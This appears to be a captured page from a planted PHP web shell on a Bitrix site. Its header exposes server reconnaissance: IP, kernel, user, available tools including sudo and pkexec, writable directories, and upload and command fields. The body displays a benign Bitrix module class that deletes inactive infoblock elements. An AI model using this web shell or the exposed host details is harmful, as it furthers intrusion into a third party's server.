403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/acrit.cleanmaster/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/acrit.cleanmaster/classes/general/ccleaniblock.php
<?php


class CCleanIBlock
{
	/**
	 * удалять элементов за шаг
	 */
	const IBLOCK_ELEMENTS_PER_STEP = 50;

	protected $baseFilter = [];

	/**
	 * @param bool $baseFilter = array("ACTIVE" => "N")
	 */
	public function __construct($baseFilter = false)
	{
		if ($baseFilter === false || $baseFilter === null) {
			$this->baseFilter = ["ACTIVE" => "N"];
		}
	}

	public function GetStepCount()
	{
		return self::IBLOCK_ELEMENTS_PER_STEP;
	}

	/**
	 * получить кол-во неактивных элементов
	 *
	 * @param array $ibs_test
	 *
	 * @return integer
	 */
	public function GetCount($ibs_test)
	{
		$f = ["IBLOCK_ID" => $ibs_test];
		foreach ($this->baseFilter as $k => $v) {
			$f[$k] = $v;
		}

		$cnt = \CIBlockElement::GetList(["id" => "ASC"], $f, []);
		return $cnt;
	}

	public function GetAllIblock(): array
	{
		$iblock_list = [];
		$res = \CIBlock::GetList(['name' => 'asc'], [], false);
		while ($ar_res = $res->Fetch()) {
			$f = ["IBLOCK_ID" => $ar_res['ID']];
			foreach ($this->baseFilter as $k => $v) {
				$f[$k] = $v;
			}

			$ibCnt                  = \CIBlockElement::GetList(['id' => 'asc'], $f, []);
			$ar_res['INACTIVE_CNT'] = $ibCnt;

			if ($ibCnt <= 0) {
				continue;
			}

			$iblock_list[] = $ar_res;
		}
		return $iblock_list;
	}

	/**
	 * Удаление неактивных элементов инфоблока
	 *
	 * @param array    $ibs_test
	 * @param bool|int $step
	 *
	 * @return bool
	 */
	public function InactiveIBlockDelete($ibs_test, $step = false)
	{
		if ((int)$step > 0) {
			//$navParams = array("iNumPage" => $step, "nPageSize" => self::IBLOCK_ELEMENTS_PER_STEP);
			$navParams = ["nTopCount" => self::IBLOCK_ELEMENTS_PER_STEP];
		} else {
			$navParams = false;
		}

		$f = ["IBLOCK_ID" => $ibs_test];
		foreach ($this->baseFilter as $k => $v) {
			$f[$k] = $v;
		}

		$param   = true;
		$iblocks = \CIBlockElement::GetList(["id" => "ASC"], $f, false, $navParams, ['ID']);
		while ($iblock = $iblocks->Fetch()) {
			if (!CIBlockElement::Delete($iblock['ID'])) {
				$param = false;
			}
		}
		return $param;
	}

	/**
	 * Получаем данные для диагностики
	 *
	 * @param bool|int $step игнорируется
	 *
	 * @return bool
	 */
	public function GetDiagnosticData($step = false)
	{
		$_SESSION['cleanmaster']['diagnostic']['ibelement']['iblock'] = [];

		$iblocks = $this->GetAllIblock();
		if (is_array($iblocks)) {
			foreach ($iblocks as $iblock) {
				$_SESSION['cleanmaster']['diagnostic']['ibelement']['iblock']["{$iblock['NAME']} [{$iblock['ID']}]"][] = $iblock['INACTIVE_CNT'] . ' ' . GetMessage('ACRIT_CM_PIECES');
			}
		}
		return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit